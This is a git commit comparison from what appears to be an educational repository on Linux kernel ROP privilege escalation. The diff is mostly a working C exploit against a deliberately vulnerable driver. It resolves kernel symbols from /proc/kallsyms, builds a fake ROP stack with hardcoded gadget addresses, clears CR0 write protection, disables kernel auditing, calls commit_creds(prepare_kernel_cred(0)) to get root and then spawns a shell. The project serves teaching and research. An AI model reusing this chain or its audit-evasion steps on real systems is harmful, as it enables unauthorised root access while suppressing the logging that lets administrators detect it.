Compare commits

...

3 Commits

Author SHA1 Message Date
b8e6f9f947
add asciinema demo 2016-10-09 15:51:59 +02:00
94e9b98948
openSUSE 4.1.31-30-default 2016-10-09 12:47:54 +02:00
421f91557c
openSUSE 4.1.27-27-default 2016-10-09 10:33:03 +02:00
2 changed files with 339 additions and 37 deletions

View File

@ -5,6 +5,8 @@ privilege escalation ROP (Return Oriented Programming) chain in practice. The
article URL for Part 1 is available at
<https://cyseclabs.com/page?n=17012016>.
[![asciicast](https://asciinema.org/a/62remtasmt80i4pk63cfu36fp.png)](https://asciinema.org/a/62remtasmt80i4pk63cfu36fp)
The driver module is vulnerable to OOB access and allows arbitrary code
execution. An arbitrary offset can be passed from user space via the provided
ioctl(). This offset is then used as the index for the 'ops' array to obtain

View File

@ -1,10 +1,21 @@
/**
/**
* ROP exploit for drv.c kernel module
*
* Tested in openSUSE Leap 42.1 (x86_64):
* Linux 4.1.27-27-default
* Linux 4.1.31-30-default
* Running in: qemu 2.5.0 / i7-4500U
*
* Compile:
* gcc rop_exploit.c -O2 -o rop_exploit
*
* Email: vnik@cyseclabs.com
* Vitaly Nikolenko
* Email: andrey.arapov@nixaid.com
* Andrey Arapov
*
* Based on Vitaly Nikolenko's work:
* https://github.com/vnik5287/kernel_rop/
*
* Additional thanks to spender!
*/
#define _GNU_SOURCE
@ -18,21 +29,58 @@
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
#include <sys/utsname.h>
#include "drv.h"
#define DEVICE_PATH "/dev/vulndrv"
#define EFL_RESERVED1 (1 << 1)
#define EFL_PARITY (1 << 2)
#define EFL_ZEROFLAG (1 << 6)
#define EFL_INTERRUPTENABLE (1 << 9)
#define EFL_IOPL3 ((1 << 12) | (1 << 13))
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE)
/* for insta-iopl 3, for whatever reason!
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE | EFL_IOPL3)
*/
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int *audit_enabled;
char *exit_stack;
static void get_segment_descriptors(void)
{
#ifdef __x86_64__
asm volatile (
"movq %%cs, %0 ;"
"movq %%ss, %1 ;"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
: "=r" (user_cs),
"=r" (user_ss),
"=r" (user_rflags)
: : "memory"
);
#else
asm volatile (
"push %%cs ;"
"pop %0 ;"
"push %%ss ;"
"pop %1 ;"
: "=r" (user_cs),
"=r" (user_ss)
: : "memory"
);
#endif
}
void shell(void) {
@ -42,6 +90,180 @@ void shell(void) {
exit(0);
}
int __attribute__((regparm(3))) get_root()
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
/* greets to qaaz */
static void exit_kernel(void)
{
#ifdef __x86_64__
asm volatile (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "r" (user_ss),
"r" (exit_stack + (1024 * 1024) - 0x80),
"r" (user_rflags),
// "i" (USER_EFLAGS),
"r" (user_cs),
"r" (shell)
);
#else
asm volatile (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "r" (user_ss),
"r" (exit_stack + (1024 * 1024) - 0x80),
"r" (user_rflags),
// "i" (USER_EFLAGS),
"r" (user_cs),
"r" (shell)
);
#endif
}
unsigned long inline get_cr0(void)
{
unsigned long _cr0;
asm volatile (
"mov %%cr0, %0"
: "=r" (_cr0)
);
return _cr0;
}
void inline set_cr0(unsigned long _cr0)
{
asm volatile (
"mov %0, %%cr0"
:
: "r" (_cr0)
);
}
int inline turn_off_wp(void)
{
unsigned long _cr0;
_cr0 = get_cr0();
_cr0 &= ~0x10000;
set_cr0(_cr0);
return 1;
}
void inline turn_on_wp(void)
{
unsigned long _cr0;
_cr0 = get_cr0();
_cr0 |= 0x10000;
set_cr0(_cr0);
}
int __attribute__((regparm(3))) disable_audit()
{
if (audit_enabled)
*audit_enabled = 0;
return;
}
int __attribute__((regparm(3))) enable_audit()
{
if (!audit_enabled == 1)
*audit_enabled = 1;
return;
}
static unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
/* didn't find the symbol, let's retry with the System.map
dedicated to the pointlessness of Russell Coker's SELinux
test machine (why does he keep upgrading the kernel if
"all necessary security can be provided by SE Linux"?)
*/
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
void usage(char *bin_name) {
fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name);
}
@ -51,51 +273,123 @@ int main(int argc, char *argv[])
int fd;
struct drv_req req;
void *mapped, *temp_stack;
unsigned long base_addr, stack_addr, mmap_addr, *fake_stack;
unsigned long base_addr, stack_addr, mmap_addr, *fake_stack;
if (argc != 3) {
usage(argv[0]);
return -1;
}
audit_enabled = (int *)get_kernel_sym("audit_enabled");
// commit_creds = (_commit_creds) 0xffffffff810887a0UL;
// prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff81088a80UL;
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
if (commit_creds == NULL || prepare_kernel_cred == NULL)
return -1;
/*
* req.offset
* when xchg_esp_eax_ret_N_rop_gadget % 8 == 0,
* req.offset = ( (1 << 64) + ((xchg_esp_eax_ret_N_rop_gadget - base_addr)/8) )
*/
req.offset = strtoul(argv[1], NULL, 10);
base_addr = strtoul(argv[2], NULL, 16);
base_addr = strtoul(argv[2], NULL, 16); // address of ops driver structure
printf("array base address = 0x%lx\n", base_addr);
stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;
fprintf(stdout, "stack address = 0x%lx\n", stack_addr);
printf("array base address = 0x%lx\n", base_addr);
mmap_addr = stack_addr & 0xffff0000;
assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr);
assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000);
stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;
fprintf(stdout, "stack address = 0x%lx\n", stack_addr);
save_state();
/*
* allocate space in memory where the fake_stack will be stored.
*/
mmap_addr = stack_addr & 0xffff0000; // clear last 4 hex's
mapped = mmap((void*)mmap_addr, 0x20000,
PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
assert(mapped == (void*)mmap_addr);
temp_stack = mmap((void*)0x30000000, 0x10000000,
PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
assert(temp_stack == (void*)0x30000000);
// save state
get_segment_descriptors();
exit_stack = (char *)calloc(1, 1024 * 1024);
if (exit_stack == NULL) {
fprintf(stdout, "Unable to alloc exit_stack\n");
exit(1);
}
// fake_stack begins here
fake_stack = (unsigned long *)(stack_addr);
*fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */
*fake_stack ++= 0xffffffff81004e8fUL; // nop ; ret
fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8);
/*
* Making sure that in reality 0x314c is 0x314c:
* $ grep 0x14ff $(uname -r).gadgets
* 0xffffffff81034898 : xchg eax, esp ; ret 0x314c
*
* $ sudo gdb /boot/vmlinuz-$(uname -r) /proc/kcore
* (gdb) x/2i 0xffffffff81034898
* 0xffffffff81034898: xchg %eax,%esp
* 0xffffffff81034899: retq $0x314c
*
*/
*fake_stack ++= 0x0UL; /* NULL */
*fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */
// Update fake_stack's pointer
fake_stack = (unsigned long *)(stack_addr + 0x314c + 8);
*fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */
//*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */
*fake_stack ++= 0xffffffff81095196UL; // commit_creds() + 2 instructions
*fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */
*fake_stack ++= 0xffffffff81052804UL; // swapgs ; pop rbp ; ret
*fake_stack ++= 0xdeadbeefUL; // dummy placeholder
*fake_stack ++= 0xffffffff81053056UL; /* iretq */
*fake_stack ++= (unsigned long)shell; /* spawn a shell */
*fake_stack ++= user_cs; /* saved CS */
*fake_stack ++= user_rflags; /* saved EFLAGS */
*fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */
*fake_stack ++= user_ss; /* saved SS */
/*
* To switch our process's owner to root, it is enough to execute:
* commit_creds(prepare_kernel_cred(0)) syscalls
* rdx(rax(0))
*
* Not sure why, but it fails when using bare ROP,
* so I will use a function pointer.
*/
*fake_stack ++= (unsigned long)turn_off_wp;
*fake_stack ++= (unsigned long)disable_audit;
*fake_stack ++= (unsigned long)get_root;
//map = mmap((void *)..., ..., 3, 0x32, 0, 0);
// *fake_stack ++= 0xffffffff81000a9bUL; // pop %rdi; ret
// *fake_stack ++= 0x0UL; // rdi is NULL
// *fake_stack ++= 0xffffffff81088a80UL; // prepare_kernel_cred() and $rax points to cred struct
// *fake_stack ++= 0xffffffff81013926UL; // pop %rdx; ret
// //// *fake_stack ++= 0xffffffff810887a0UL; // commit_creds()
// // *fake_stack ++= 0xffffffff810887a5UL; // commit_creds() + 1 instruction
// *fake_stack ++= 0xffffffff81004e8fUL; // nop ; ret
// *fake_stack ++= 0xffffffff810fdf41UL; // mov rdi, rax; call rdx => calls commit_creds(prepare_kernel_cred(0))
*fake_stack ++= (unsigned long)turn_on_wp;
// *fake_stack ++= (unsigned long)enable_audit;
/*
* safely return to user-space from the kernel-space
* you can use exit_kernel function or a bare ROP available below.
*/
// *fake_stack ++= (void *)&exit_kernel;
*fake_stack ++= (unsigned long)exit_kernel;
// safely return to user-space from the kernel-space
// *fake_stack ++= 0xffffffff8104dc20UL; // swapgs ; ret
// *fake_stack ++= 0xffffffff816667e7UL; // iretq
// *fake_stack ++= (unsigned long)shell; // spawn a shell
// *fake_stack ++= user_cs; // saved CS
// *fake_stack ++= user_rflags; // saved EFLAGS
// *fake_stack ++= (unsigned long)(temp_stack+0x5000000); // mmaped stack region in user space
// *fake_stack ++= user_ss; // saved SS
fd = open(DEVICE_PATH, O_RDONLY);
@ -103,7 +397,13 @@ int main(int argc, char *argv[])
perror("open");
}
/*
* trigger the vulnerable Linux kernel driver now,
* pointing to our fake_stack
*/
ioctl(fd, 0, &req);
return 0;
}
// vim: set list noexpandtab tabstop=4 shiftwidth=4 softtabstop=4